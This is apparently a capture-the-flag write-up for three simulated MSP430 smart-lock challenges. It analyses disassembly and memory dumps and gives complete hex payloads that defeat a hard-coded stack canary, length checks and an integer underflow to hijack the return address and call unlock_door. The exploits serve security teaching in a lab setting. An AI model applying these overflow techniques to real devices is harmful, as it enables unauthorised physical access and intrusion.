Johannesburg

The City of Gold, where skyscrapers rise above rich historical veins, and where our cybersecurity journey digs deeper into the binary seams of smart locks.

Scanning over the changelogs we can glean some potential hints:

  • A firmware update rejects passwords which are too long.
  • This lock is attached to the LockIT Pro HSM-1.

Let’s dive right into main, which is very minimal: just a call to login().

4438 <main>
4438:  b012 2c45      call	#0x452c <login>

Not much to unpack here, so off we go to login.

452c <login>
452c:  3150 eeff      add	#0xffee, sp
4530:  f140 6000 1100 mov.b	#0x60, 0x11(sp)
4536:  3f40 7c44      mov	#0x447c "Enter the password to continue.", r15
453a:  b012 f845      call	#0x45f8 <puts>
453e:  3f40 9c44      mov	#0x449c "Remember: passwords are between 8 and 16 characters.", r15
4542:  b012 f845      call	#0x45f8 <puts>
4546:  3e40 3f00      mov	#0x3f, r14
454a:  3f40 0024      mov	#0x2400, r15
454e:  b012 e845      call	#0x45e8 <getsn>
4552:  3e40 0024      mov	#0x2400, r14
4556:  0f41           mov	sp, r15
4558:  b012 2446      call	#0x4624 <strcpy>
455c:  0f41           mov	sp, r15
455e:  b012 5244      call	#0x4452 <test_password_valid>
4562:  0f93           tst	r15
4564:  0524           jz	$+0xc <login+0x44>
4566:  b012 4644      call	#0x4446 <unlock_door>
456a:  3f40 d144      mov	#0x44d1 "Access granted.", r15
456e:  023c           jmp	$+0x6 <login+0x48>
4570:  3f40 e144      mov	#0x44e1 "That password is not correct.", r15
4574:  b012 f845      call	#0x45f8 <puts>
4578:  f190 6000 1100 cmp.b	#0x60, 0x11(sp)
457e:  0624           jz	$+0xe <login+0x60>
4580:  3f40 ff44      mov	#0x44ff "Invalid Password Length: password too long.", r15
4584:  b012 f845      call	#0x45f8 <puts>
4588:  3040 3c44      br	#0x443c <__stop_progExec__>
458c:  3150 1200      add	#0x12, sp
4590:  3041           ret

So, what do we have here? First, 0xffee is added to the stack pointer, effectively subtracting 0x12 (18 in decimal) due to two’s complement arithmetic. Next we write 0x60 to sp+0x11. Then we print a few prompts, including a warning (or a hint?) that passwords must be between 8 (0x08) and 16 (0x10) characters long… Emphasis on the long?

Enter the Stack Canary

Pausing our analysis to do some guesswork, does the 0x60 written to the stack feel like a Stack Canary to anyone else? My spidey senses are tingling.

While this is a decent attempt at protecting against buffer overflows, it’s flawed for a few reasons:

  1. Predictability: The canary is hard-coded as 0x60, an ASCII printable character ("`"), which is easy to guess or brute force.
  2. Weak Placement: It’s placed directly in the overflowable buffer’s path, making it trivial to overwrite.
  3. Better Practices Exist: Real-world systems often use non-printable, randomised canaries combined with terminators (\0) or hash-based integrity checks. This approach ensures the canary is both unpredictable and harder to replicate (for example, modern compilers like GCC implement stack canaries by placing a randomised value that changes with each program execution, making them much harder to guess.”).

After printing the prompts, we hit some instructions which are fairly familiar at this point: read the user input, strcpy it onto the stack, call test_password_value, then either call unlock_door or not depending on the return value. No usage of the suspected canary yet!

Looking on, if the password is invalid we skip over the unlock_door call and print an error message… Then another check, the canary! If the canary is not found in the stack then the CPU is halted and we never return from the login function. A solid idea in theory, but it falls apart because the canary is so predictable. Plans are forming.

Exploiting the Canary

Assuming we’ve grokked the code correctly, inputting “AAAAAAAAAAAAAAAA`AA” (16 A’s, the canary 0x60, and 2 more A’s) should bypass the canary check while ensuring we don’t trigger the “password too long” condition. Testing this theory will show we are indeed correct. We also get a handy crash with the program counter (pc) pointing to 0x4141 (ASCII for AA), meaning we control the return address. Jackpot.

From here the solution is fairly simple, swap the final “AAAA” out with, say, the address of unlock_door giving us a final payload (in hex) of “4141414141414141414141414141414141604644”; that is 16 As as padding and another to align the return address, a ` to beat the canary, and finally the address of unlock_door so we can hijack the ret at the end of login.

Now for the fun part: crafting our payload.

Final Payload

The solution is fairly simple. Replace the final “AAAA” in our test payload with the address of unlock_door giving us a hexadecimal payload of 4141414141414141414141414141414141604644.

Breaking it Down:

  1. Padding: The first 16 bytes (41...41) ensure we overwrite the stack up to the return address.
  2. Canary: We include the ASCII “`” (0x60) to pass the canary check.
  3. Address: The final 4 bytes (0x4644) are the address of unlock_door.

This address can be easily identified by inspecting the disassembly or using a debugger to find function symbols in memory. With our payload in place, the ret instruction at the end of login jumps directly to unlock_door, bypassing all checks. Open sesame, as they say.

Santa Cruz

A sunlit Californian paradise framed by redwoods and surfboards, but beneath the laid-back vibe lies another puzzle waiting to be cracked on your global hacking adventure.

A good 24h of flying later and we find ourselves in Santa Cruz faced with yet another revision from the Lockitall team.

  • A firmware update further rejects passwords which are too long.
  • This lock is attached to the LockIT Pro HSM-1.

A likely story, by this point we have learned that the release notes are not always accurate.

4438 <main>
4438:  3150 ceff      add	#0xffce, sp
443c:  b012 5045      call	#0x4550 <login>

As in Johannesburg, not a lot going on in main here. Scrolling down to login we get a few clues from the .strings section.

4484 .strings:
4484: "Authentication now requires a username and password."
44b9: "Remember: both are between 8 and 16 characters."
44e9: "Please enter your username:"
4505: "Please enter your password:"
4521: "Access granted."
4531: "That password is not correct."
454f: ""

Now we know we are (supposed to be) limited to 8-16 characters each for the username and password.

The login function is fairly long this time, so lets go over it in functional chunks.

4550 <login>
4550:  0b12           push	r11
4552:  0412           push	r4
4554:  0441           mov	sp, r4
4556:  2452           add	#0x4, r4
4558:  3150 d8ff      add	#0xffd8, sp
455c:  c443 faff      mov.b	#0x0, -0x6(r4)
4560:  f442 e7ff      mov.b	#0x8, -0x19(r4)
4564:  f440 1000 e8ff mov.b	#0x10, -0x18(r4)

Okay, so some fairly run-of-the-mill stuff at first, followed by some fairly opaque mov.b instructions. Looking a bit closer we can see that the values being stored are 0x0, 0x8, and 0x10 which are a null byte (indicating the end of a string), 8 (the minimum password length) and 16 (the maximum password length) respectively.

456a:  3f40 8444      mov	#0x4484 "Authentication now requires a username and password.", r15
456e:  b012 2847      call	#0x4728 <puts>
4572:  3f40 b944      mov	#0x44b9 "Remember: both are between 8 and 16 characters.", r15
4576:  b012 2847      call	#0x4728 <puts>
457a:  3f40 e944      mov	#0x44e9 "Please enter your username:", r15
457e:  b012 2847      call	#0x4728 <puts>
4582:  3e40 6300      mov	#0x63, r14
4586:  3f40 0424      mov	#0x2404, r15
458a:  b012 1847      call	#0x4718 <getsn>
458e:  3f40 0424      mov	#0x2404, r15
4592:  b012 2847      call	#0x4728 <puts>
4596:  3e40 0424      mov	#0x2404, r14
459a:  0f44           mov	r4, r15
459c:  3f50 d6ff      add	#0xffd6, r15
45a0:  b012 5447      call	#0x4754 <strcpy>

Nothing we haven’t seen before here, printing some strings and then reading the username (0x63/99 bytes in this instance) and storing it at 0x2404 before printing it back to the user then finally using strcpy to copy it to the stack. Another buffer overflow!

45a4:  3f40 0545      mov	#0x4505 "Please enter your password:", r15
45a8:  b012 2847      call	#0x4728 <puts>
45ac:  3e40 6300      mov	#0x63, r14
45b0:  3f40 0424      mov	#0x2404, r15
45b4:  b012 1847      call	#0x4718 <getsn>
45b8:  3f40 0424      mov	#0x2404, r15
45bc:  b012 2847      call	#0x4728 <puts>
45c0:  0b44           mov	r4, r11
45c2:  3b50 e9ff      add	#0xffe9, r11
45c6:  3e40 0424      mov	#0x2404, r14
45ca:  0f4b           mov	r11, r15
45cc:  b012 5447      call	#0x4754 <strcpy>

Much the same as above but this time reading the password, with it eventually being copied (using strcpy) onto the stack.

45d0:  0f4b           mov	r11, r15
45d2:  0e44           mov	r4, r14
45d4:  3e50 e8ff      add	#0xffe8, r14
45d8:  1e53           inc	r14
45da:  ce93 0000      tst.b	0x0(r14)
45de:  fc23           jnz	$-0x6 <login+0x88>
45e0:  0b4e           mov	r14, r11
45e2:  0b8f           sub	r15, r11

Here we are calculating the length of the password and storing it in r11. This is achieved by setting r14 and r15 to the start of the password buffer and incrementing r14 each time we find something other than a null byte. Once we find a null byte, the addresses are compared leaving the password length in r11.

45e4:  5f44 e8ff      mov.b	-0x18(r4), r15
45e8:  8f11           sxt	r15
45ea:  0b9f           cmp	r15, r11
45ec:  0628           jnc	$+0xe <login+0xaa>
45ee:  1f42 0024      mov	&0x2400, r15
45f2:  b012 2847      call	#0x4728 <puts>
45f6:  3040 4044      br	#0x4440 <__stop_progExec__>

Next the password length is checked against the maximum, if r11 is greater than 16 then the appropriate error message is printed and the program halts.

45fa:  5f44 e7ff      mov.b	-0x19(r4), r15
45fe:  8f11           sxt	r15
4600:  0b9f           cmp	r15, r11
4602:  062c           jc	$+0xe <login+0xc0>
4604:  1f42 0224      mov	&0x2402, r15
4608:  b012 2847      call	#0x4728 <puts>
460c:  3040 4044      br	#0x4440 <__stop_progExec__>

Much the same as above, but a check against the minimum password length.

4610:  c443 d4ff      mov.b	#0x0, -0x2c(r4)
4614:  3f40 d4ff      mov	#0xffd4, r15
4618:  0f54           add	r4, r15
461a:  0f12           push	r15
461c:  0f44           mov	r4, r15
461e:  3f50 e9ff      add	#0xffe9, r15
4622:  0f12           push	r15
4624:  3f50 edff      add	#0xffed, r15
4628:  0f12           push	r15
462a:  3012 7d00      push	#0x7d
462e:  b012 c446      call	#0x46c4 <INT>
4632:  3152           add	#0x8, sp
4634:  c493 d4ff      tst.b	-0x2c(r4)
4638:  0524           jz	$+0xc <login+0xf4>
463a:  b012 4a44      call	#0x444a <unlock_door>
463e:  3f40 2145      mov	#0x4521 "Access granted.", r15
4642:  023c           jmp	$+0x6 <login+0xf8>
4644:  3f40 3145      mov	#0x4531 "That password is not correct.", r15
4648:  b012 2847      call	#0x4728 <puts>
464c:  c493 faff      tst.b	-0x6(r4)
4650:  0624           jz	$+0xe <login+0x10e>
4652:  1f42 0024      mov	&0x2400, r15
4656:  b012 2847      call	#0x4728 <puts>
465a:  3040 4044      br	#0x4440 <__stop_progExec__>
465e:  3150 2800      add	#0x28, sp
4662:  3441           pop	r4
4664:  3b41           pop	r11
4666:  3041           ret

If execution has made it this far then we simply pass the credentials to the HSM via INT, check the return value, print an appropriate message to the user, and possibly unlock the door.

So obviously we’re dealing with yet another buffer overflow here. This time, the key lies in the fact that only the password length is being validated. If we provide a long enough username we can overwrite the return address and then by providing an appropriate length of password we can pass those checks and still hijack the execution flow. Because the minimum and maximum lengths lengths are also being stored on the stack, we must be sure to overwrite those with appropriate values.

If we use UUUUUUUUUUUU as our username and PPPPPPPPPPPP as our password then inspect the stack we can see:

43a0: 0000 5555 5555 5555 5555 5555 5555 0000   ..UUUUUUUUUUUU..
43b0: 0000 0008 1050 5050 5050 5050 5050 5050   .....PPPPPPPPPPP
43c0: 5000 0000 0000 0000 0000 0000 4044 0000   P...........@D..

So that is [USERNAME][NULL BYTE][MIN LENGTH][MAX LENGTH][PASSWORD][…][RETURN ADDRESS] (the null byte at 0x43b2 is used for the HSM return value).

So if stick [A*16][X]01FF[C*23]4A44 into the username we should be in business. As for the password, pretty much anything will do, so lets go with [C*16].

Just like we had to include the canary (0x60) in Johannesburg, here we need to ensure the min/max length values remain sane — otherwise, the length validation check will fail, and execution will never reach unlock_door. While these values are not an explicit stack canary, they serve a similar purpose by acting as an unintended integrity check.

Username: 414141414141414141414141414141415801FF42424242424242424242424242424242424242424242424a44

Password: 4343434343434343434343434343434343

Now our stack looks like this:

43a0: 0000 4141 4141 4141 4141 4141 4141 4141   ..AAAAAAAAAAAAAA
43b0: 4141 5801 ff43 4343 4343 4343 4343 4343   AAX..CCCCCCCCCCC
43c0: 4343 4343 4343 0042 4242 4242 4a44 0000   CCCCCC.BBBBBJD..

The length checks pass, and when we finally hit the ret at the end of login execution jumps to 0x444a and unlock_door is executed! We’re in!

Jakarta

Jakarta, a city of towering skyscrapers and historic waterways, where the rhythms of modern urban life intertwine with the echoes of centuries-old trade routes.

We’re on a roll now, so lets jump right into the assembly.

4438 <main>
4438:  3150 18fc      add	#0xfc18, sp
443c:  b012 6045      call	#0x4560 <login>
4440:  0f43           clr	r15

As with our previous two destinations, not a whole lot going on. The significance of the ADD at 0xfc18 isn’t immediately clear, but it likely sets up a consistent stack frame for the login function.

4482 .strings:
4482: "Authentication requires a username and password."
44b3: "Your username and password together may be no more than 32 characters."
44fa: "Please enter your username:"
4516: "Please enter your password:"
4532: "Access granted."
4542: "That password is not correct."

As in Santa Cruz, we can gleam a hint from the .strings section: we have 32 characters to play with for both our username and password.

Moving onto login, we’ve got a fairly complex function so lets break it down into chunks.

4560 <login>
4560:  0b12           push	r11
4562:  3150 deff      add	#0xffde, sp
4566:  3f40 8244      mov	#0x4482 "Authentication requires a username and password.", r15
456a:  b012 c846      call	#0x46c8 <puts>
456e:  3f40 b344      mov	#0x44b3 "Your username and password together may be no more than 32 characters.", r15
4572:  b012 c846      call	#0x46c8 <puts>
4576:  3f40 fa44      mov	#0x44fa "Please enter your username:", r15
457a:  b012 c846      call	#0x46c8 <puts>

Nothing much to see here, although worth noting that we’re allocating 34 bytes on the stack.

457e:  3e40 ff00      mov	#0xff, r14
4582:  3f40 0224      mov	#0x2402, r15
4586:  b012 b846      call	#0x46b8 <getsn>
458a:  3f40 0224      mov	#0x2402, r15
458e:  b012 c846      call	#0x46c8 <puts>

Read a maximum of 255 bytes (hello!) for the password into 0x2402 and print it back to the user.

4592:  3f40 0124      mov	#0x2401, r15
4596:  1f53           inc	r15
4598:  cf93 0000      tst.b	0x0(r15)
459c:  fc23           jnz	$-0x6 <login+0x36>
459e:  0b4f           mov	r15, r11
45a0:  3b80 0224      sub	#0x2402, r11
45a4:  3e40 0224      mov	#0x2402, r14
45a8:  0f41           mov	sp, r15
45aa:  b012 f446      call	#0x46f4 <strcpy>
45ae:  7b90 2100      cmp.b	#0x21, r11
45b2:  0628           jnc	$+0xe <login+0x60>
45b4:  1f42 0024      mov	&0x2400, r15
45b8:  b012 c846      call	#0x46c8 <puts>
45bc:  3040 4244      br	#0x4442 <__stop_progExec__>

We’ve seen this before, we count the length of the username, store it in r11, and then strcpy it onto the stack. If the length is greater than or equal to 0x21 (33) then an error is printed and execution is halted.

45c0:  3f40 1645      mov	#0x4516 "Please enter your password:", r15
45c4:  b012 c846      call	#0x46c8 <puts>
45c8:  3e40 1f00      mov	#0x1f, r14
45cc:  0e8b           sub	r11, r14
45ce:  3ef0 ff01      and	#0x1ff, r14
45d2:  3f40 0224      mov	#0x2402, r15
45d6:  b012 b846      call	#0x46b8 <getsn>
45da:  3f40 0224      mov	#0x2402, r15
45de:  b012 c846      call	#0x46c8 <puts>

Again, we’ve seen similar code before. A prompt is printed and then the maximum password length is calculated by subtracting the username length from 31 after which the input is read, printed back, and copied onto the stack.

Before we move on… what happens if the username length (stored in r11) is 32? I’ll tell you what happens: it is time to meet the Integer Overflow — breaking at 0x45cc we can see that r14 is now 0xffff, yikes! The subtraction at 0x45cc (SUB r11, r14) causes a signed integer underflow when r11 = 32.

Just after that instruction, we have an AND which is zeroing the most significant bits of r14 in an attempt to prevent reading too much input but 0xffff & 0x01FF = 0x01FF which leaves with a whopping 511 bytes!

45e2:  3e40 0224      mov	#0x2402, r14
45e6:  0f41           mov	sp, r15
45e8:  0f5b           add	r11, r15
45ea:  b012 f446      call	#0x46f4 <strcpy>

And here we have it, the ADD at 0x45e8 means that our password is copied onto the stack after the username meaning yet again we have direct control over the stack contents; this time by overflowing the password field into return addresses, saved registers, or other critical stack data.

45ee:  3f40 0124      mov	#0x2401, r15
45f2:  1f53           inc	r15
45f4:  cf93 0000      tst.b	0x0(r15)
45f8:  fc23           jnz	$-0x6 <login+0x92>
45fa:  3f80 0224      sub	#0x2402, r15
45fe:  0f5b           add	r11, r15
4600:  7f90 2100      cmp.b	#0x21, r15
4604:  0628           jnc	$+0xe <login+0xb2>
4606:  1f42 0024      mov	&0x2400, r15
460a:  b012 c846      call	#0x46c8 <puts>
460e:  3040 4244      br	#0x4442 <__stop_progExec__>

Another length check, and another flaw. We’re familiar with the loop/counter construct seen in the first six instructions now, the error lies in the use of CMP.B which is only testing the lower byte of r15, so as long as we can get our length to end in something less than 21 than we can pass this check! If we aim for a total payload size of 0x0120 we should be laughing… we could even have 0xff20 (65312)!

4612:  0f41           mov	sp, r15
4614:  b012 5844      call	#0x4458 <`test_username_and_password_valid`>
4618:  0f93           tst	r15
461a:  0524           jz	$+0xc <login+0xc6>
461c:  b012 4c44      call	#0x444c <unlock_door>
4620:  3f40 3245      mov	#0x4532 "Access granted.", r15
4624:  023c           jmp	$+0x6 <login+0xca>
4626:  3f40 4245      mov	#0x4542 "That password is not correct.", r15
462a:  b012 c846      call	#0x46c8 <puts>
462e:  3150 2200      add	#0x22, sp
4632:  3b41           pop	r11
4634:  3041           ret

The rest of the function is simple enough, the username and password that have been copied onto the stack are passed to test_username_and_password_valid (which simply calls out to the HSM) and its return value is checked. We don’t know the read credentials (r15 == 0 after the call at 0x4614) so the return value check jumps to 0x4626, we get an error message, and the login function returns to main.

Lets have a stab at overriding the return address. If we break at 0x4634 after providing a legitimately sized username (8xU) and password (8xP) and look at the stack…

3fe0: 7846 0100 7846 0300 ec46 0000 0a00 0800   xF..xF...F......
3ff0: 2e46 5555 5555 5555 5555 5050 5050 5050   .FUUUUUUUUPPPPPP
4000: 5050 0000 0000 0000 0000 0000 0000 0000   PP..............
4010: 0000 0000 0000 4044 0000 0000 0000 0000   ......@D........

We can see that after 36 bytes we have the return address (0x4440) and we know everything we need to construct an exploit.

  1. Our username should be 32 bytes long in order to trigger the integer overflow.
  2. Our password needs to be at least 6 bytes long to overwrite the return address.
  3. A total payload length of 256 bytes (0x0100) will allow us to pass the password length check.

So we have [A*32][B*4]4C44[C*226] which, to save our fingers, we can generate with Python:

"A"*32 + "B"*4 + "4c44" + "C"*226

Converting our payloads to hex we have:

Username: 4141414141414141414141414141414141414141414141414141414141414141

Password: 424242424c4443434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343

Boom!